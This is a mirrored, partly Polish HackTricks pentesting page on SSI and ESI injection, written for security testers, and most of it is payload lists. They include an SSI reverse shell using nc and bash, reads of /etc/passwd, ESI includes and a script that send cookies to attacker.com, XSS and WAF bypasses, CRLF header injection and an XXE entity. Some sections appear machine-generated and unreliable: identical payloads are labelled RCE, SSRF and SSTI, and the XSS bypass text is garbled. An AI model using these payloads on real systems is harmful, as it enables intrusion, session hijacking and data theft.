Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00

Translator workflow 5e0daf0e23 Translated to Polish

2024-02-11 01:46:25 +00:00

19 KiB

Raw Blame History

Wstrzykiwanie kodu Server Side Inclusion/Edge Side Inclusion

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
Zdobądź oficjalne gadżety PEASS & HackTricks
Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów GitHub.

Podstawowe informacje o Server Side Inclusion

(Wprowadzenie zaczerpnięte z dokumentacji Apache)

SSI (Server Side Includes) to dyrektywy, które są umieszczane w stronach HTML i oceniane na serwerze podczas ich udostępniania. Pozwalają one dodawać dynamicznie generowane treści do istniejącej strony HTML, bez konieczności udostępniania całej strony za pomocą programu CGI lub innej technologii dynamicznej.
Na przykład, można umieścić dyrektywę w istniejącej stronie HTML, takiej jak:

I, gdy strona jest udostępniana, ten fragment zostanie oceniony i zastąpiony swoją wartością:

Wtorek, 15 stycznia 2013, 19:28:54 EST

Decyzja, kiedy używać SSI, a kiedy cała strona powinna być generowana przez jakiś program, zazwyczaj zależy od tego, ile treści na stronie jest statycznych, a ile musi być ponownie obliczanych za każdym razem, gdy strona jest udostępniana. SSI jest doskonałym sposobem na dodawanie małych fragmentów informacji, takich jak bieżący czas - jak pokazano powyżej. Ale jeśli większość strony jest generowana w momencie jej udostępniania, należy poszukać innych rozwiązań.

Można wnioskować o obecności SSI, jeśli aplikacja internetowa używa plików o rozszerzeniach ** .shtml, .shtm lub .stm**, ale nie jest to jedyny przypadek.

Typowe wyrażenie SSI ma następujący format:

<!--#directive param="value" -->

Sprawdzenie

Aby sprawdzić podatność na wstrzyknięcie zawartości po stronie serwera (SSI/ESI), wykonaj następujące kroki:

Zidentyfikuj punkt wstrzyknięcia: Przeglądaj kod źródłowy aplikacji internetowej w poszukiwaniu miejsc, w których użytkownik może wprowadzać dane, które są następnie wykorzystywane do generowania dynamicznej zawartości strony. Może to obejmować parametry URL, formularze, pliki cookie, nagłówki HTTP itp.
Sprawdź, czy można wstrzyknąć kod: Spróbuj wstrzyknąć kod SSI/ESI, dodając odpowiednie znaczniki do danych wejściowych. Na przykład, w przypadku SSI, użyj , a w przypadku ESI, użyj <esi:include src="file.txt" />. Jeśli kod zostanie wykonany i zawartość pliku zostanie wyświetlona na stronie, oznacza to, że aplikacja jest podatna na wstrzyknięcie zawartości po stronie serwera.
Sprawdź dostępność plików: Jeśli udało się wstrzyknąć kod, sprawdź, czy można uzyskać dostęp do innych plików na serwerze. Wypróbuj różne ścieżki plików, takie jak /etc/passwd, /etc/shadow, /etc/hosts, aby sprawdzić, czy można uzyskać poufne informacje lub wykonać atak na serwer.
Sprawdź możliwość wykonania kodu: Jeśli aplikacja wykonuje kod SSI/ESI z uprawnieniami systemowymi, spróbuj wstrzyknąć kod, który pozwoli na wykonanie dowolnego kodu na serwerze. Na przykład, w przypadku SSI, użyj , a w przypadku ESI, użyj <esi:eval>command</esi:eval>. Jeśli kod zostanie wykonany i wynik zostanie wyświetlony na stronie, oznacza to, że aplikacja jest podatna na wykonanie kodu.
Zgłoś znalezioną podatność: Jeśli udało się znaleźć podatność na wstrzyknięcie zawartości po stronie serwera, zgłoś ją odpowiedniej osobie lub zespołowi odpowiedzialnemu za bezpieczeństwo aplikacji. Przedstaw dokładne informacje o podatności, włączając w to kroki reprodukcji i dowody potwierdzające jej istnienie.

Pamiętaj, że testowanie podatności na wstrzyknięcie zawartości po stronie serwera powinno być przeprowadzane tylko na legalnych i uprawnionych systemach, zgodnie z obowiązującymi przepisami i zgodnie z zasadami etycznego hakowania.

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Włączenie po stronie serwera

Istnieje problem z buforowaniem informacji lub dynamicznych aplikacji, ponieważ część treści może ulec zmianie przed kolejnym pobraniem treści. Do tego celu służy ESI, który wskazuje za pomocą tagów ESI dynamiczną treść, która musi zostać wygenerowana przed wysłaniem wersji buforowanej.
Jeśli atakujący jest w stanie wstrzyknąć tag ESI do treści buforowanej, może on wtedy wstrzyknąć dowolną treść do dokumentu przed wysłaniem go do użytkowników.

Wykrywanie ESI

Następujący nagłówek w odpowiedzi serwera oznacza, że serwer korzysta z ESI:

Surrogate-Control: content="ESI/1.0"

Jeśli nie możesz znaleźć tego nagłówka, serwer może i tak używać ESI.
Można również zastosować ślepe podejście do eksploatacji, ponieważ żądanie powinno dotrzeć do serwera atakującego:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Wykorzystanie ESI

GoSecure stworzył tabelę, aby zrozumieć możliwe ataki, które możemy przeprowadzić na różnym oprogramowaniu obsługującym ESI, w zależności od obsługiwanej funkcjonalności:

Includes: Obsługuje dyrektywę <esi:includes>
Vars: Obsługuje dyrektywę <esi:vars>. Przydatne do omijania filtrów XSS
Cookie: Ciasteczka dokumentu są dostępne dla silnika ESI
Wymagane nagłówki przekazywane w górę: Aplikacje pośredniczące nie będą przetwarzać instrukcji ESI, dopóki aplikacja nadrzędna nie dostarczy nagłówków
Whitelist hostów: W tym przypadku, ESI includes są możliwe tylko z dozwolonych serwerów, co umożliwia np. atak SSRF tylko na te hosty

Oprogramowanie	Includes	Vars	Cookies	Wymagane nagłówki przekazywane w górę	Whitelist hostów
Squid3	Tak	Tak	Tak	Tak	Nie
Varnish Cache	Tak	Nie	Nie	Tak	Tak
Fastly	Tak	Nie	Nie	Nie	Tak
Akamai ESI Test Server (ETS)	Tak	Tak	Tak	Nie	Nie
NodeJS esi	Tak	Tak	Tak	Nie	Nie
NodeJS nodesi	Tak	Nie	Nie	Nie	Opcjonalne

XSS

Następująca dyrektywa ESI załaduje dowolny plik w odpowiedzi serwera.

<esi:include src=http://attacker.com/xss.html>

Ominięcie ochrony klienta przed atakami XSS

To bypass client XSS protection, you can try the following techniques:

HTML encoding: Encode the malicious payload using HTML entities to bypass client-side XSS filters. For example, < can be encoded as < and > as >.
JavaScript encoding: Encode the payload using JavaScript functions like encodeURIComponent() or escape() to bypass client-side XSS filters. This will prevent the execution of the payload by the client's browser.
Event handlers: Use event handlers like onmouseover or onerror to trigger the execution of the payload. This can bypass client-side XSS filters that only look for specific HTML tags or attributes.
DOM-based XSS: Exploit vulnerabilities in the Document Object Model (DOM) to inject and execute malicious code. This can bypass client-side XSS filters that rely on parsing HTML tags and attributes.
Polyglot payloads: Craft payloads that can be interpreted as both JavaScript and HTML. This can bypass client-side XSS filters that only look for specific content types.

Remember to always test your bypass techniques thoroughly to ensure they work as intended.

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Kradzież ciasteczka

Zdalna kradzież ciasteczka

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

Kradnij ciasteczko HTTP_ONLY za pomocą XSS, odbijając je w odpowiedzi:

<script>
    var img = new Image();
    img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>

Inject malicious code into a server-side include (SSI) vulnerable application:

<!--#exec cmd="ls" -->

Exploit a server-side include (SSI) injection vulnerability to execute arbitrary commands:

<!--#exec cmd="cat /etc/passwd" -->

Exploit a server-side include (SSI) injection vulnerability to include remote files:

<!--#include virtual="http://attacker.com/malicious-file.txt" -->

Exploit an edge-side include (ESI) injection vulnerability to include remote files:

<esi:include src="http://attacker.com/malicious-file.txt" />

Exploit an edge-side include (ESI) injection vulnerability to execute arbitrary commands:

<esi:remove>
    <esi:comment text="HTTP/1.0 200 OK">
    <esi:include src="http://attacker.com/malicious-file.txt" />
</esi:remove>

Exploit an edge-side include (ESI) injection vulnerability to perform server-side request forgery (SSRF):

<esi:remove>
    <esi:comment text="HTTP/1.0 200 OK">
    <esi:include src="http://internal-server.com/secret-file.txt" />
</esi:remove>

Exploit an edge-side include (ESI) injection vulnerability to perform remote code execution (RCE):

<esi:remove>
    <esi:comment text="HTTP/1.0 200 OK">
    <esi:include src="http://attacker.com/malicious-file.txt" />
</esi:remove>

Exploit an edge-side include (ESI) injection vulnerability to perform server-side template injection (SSTI):

<esi:remove>
    <esi:comment text="HTTP/1.0 200 OK">
    <esi:include src="http://attacker.com/malicious-template.txt" />
</esi:remove>

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Prywatny lokalny plik

Nie mylić z "Włączeniem lokalnego pliku":

<esi:include src="secret.txt">

CRLF

CRLF (Carriage Return Line Feed) to sekwencja znaków używana do oznaczania nowej linii w tekstowych plikach. Składa się z dwóch znaków: powrotu karetki (CR) i podawania linii (LF). W niektórych przypadkach, takich jak ataki wstrzykiwania SSI (Server-Side Inclusion) i ESI (Edge-Side Inclusion), CRLF może być wykorzystywane do wykonania ataków wstrzykiwania kodu lub manipulacji zawartości strony internetowej. Atakujący może wstrzyknąć znaki CRLF w celu wprowadzenia niechcianych linii lub instrukcji do kodu źródłowego strony, co może prowadzić do różnych problemów bezpieczeństwa, takich jak wycieki informacji, ataki XSS (Cross-Site Scripting) lub ataki CSRF (Cross-Site Request Forgery). Aby zabezpieczyć aplikacje przed atakami CRLF Injection, należy odpowiednio filtrować i walidować dane wejściowe, a także unikać bezpośredniego wstrzykiwania danych użytkownika do kodu źródłowego strony.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Przekierowanie otwarte

Następujący kod doda nagłówek Location do odpowiedzi.

<!--esi $add_header('Location','http://attacker.com') -->

Dodaj nagłówek

Dodaj nagłówek w wymuszonym żądaniu

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

Dodaj nagłówek w odpowiedzi (użyteczne do obejścia "Content-Type: text/json" w odpowiedzi z XSS)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF w dodawaniu nagłówka (CVE-2019-2438)

Wady typu CRLF (Carriage Return Line Feed) mogą wystąpić, gdy aplikacja internetowa nieprawidłowo obsługuje znaki powrotu karetki i nowej linii w nagłówkach HTTP. W przypadku podatności CVE-2019-2438, atakujący może wykorzystać ten błąd, aby wstrzyknąć złośliwe nagłówki i przeprowadzić ataki typu Server-Side Request Forgery (SSRF) lub Cross-Site Scripting (XSS).

Atakujący może wykorzystać podatność CRLF, aby zmienić zawartość nagłówka, taką jak User-Agent, Referer lub Set-Cookie. Może to prowadzić do różnych ataków, takich jak przekierowanie użytkownika na złośliwe strony, kradzież sesji lub wykonanie dowolnego kodu JavaScript na stronie.

Aby wykorzystać tę podatność, atakujący musi znaleźć miejsce, w którym aplikacja internetowa nieprawidłowo obsługuje znaki CRLF w nagłówkach HTTP. Następnie może wstrzyknąć złośliwe znaki, takie jak %0d i %0a, aby rozdzielić nagłówki i wstrzyknąć własne dane.

Aby zabezpieczyć się przed atakami CRLF, należy skrupulatnie sprawdzać i filtrować wszelkie dane wprowadzane przez użytkowników, które mogą być wykorzystane do modyfikacji nagłówków HTTP. Ważne jest również regularne aktualizowanie oprogramowania i bibliotek, aby uniknąć wykorzystania znanych podatności.

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Debugowanie Akamai

To spowoduje wysłanie informacji debugowania dołączonych do odpowiedzi:

<esi:debug/>

ESI + XSLT = XXE

Poprzez określenie wartości xslt dla parametru dca, możliwe jest uwzględnienie ESI opartego na eXtensible Stylesheet Language Transformations (XSLT). Włączenie powoduje pobranie plików XML i XSLT przez serwującego HTTP, przy czym ten drugi filtruje ten pierwszy. Takie pliki XML są podatne na ataki XML External Entity (XXE), umożliwiające atakującym wykonanie ataków SSRF. Jednak użyteczność tego podejścia jest ograniczona, ponieważ ESI już służy jako wektor SSRF. Ze względu na brak obsługi w bibliotece Xalan, zewnętrzne DTD nie są przetwarzane, co uniemożliwia wydobycie lokalnych plików.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

Plik XSLT:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Sprawdź stronę XSLT:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Odwołania

Lista wykrywania prób siłowych

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!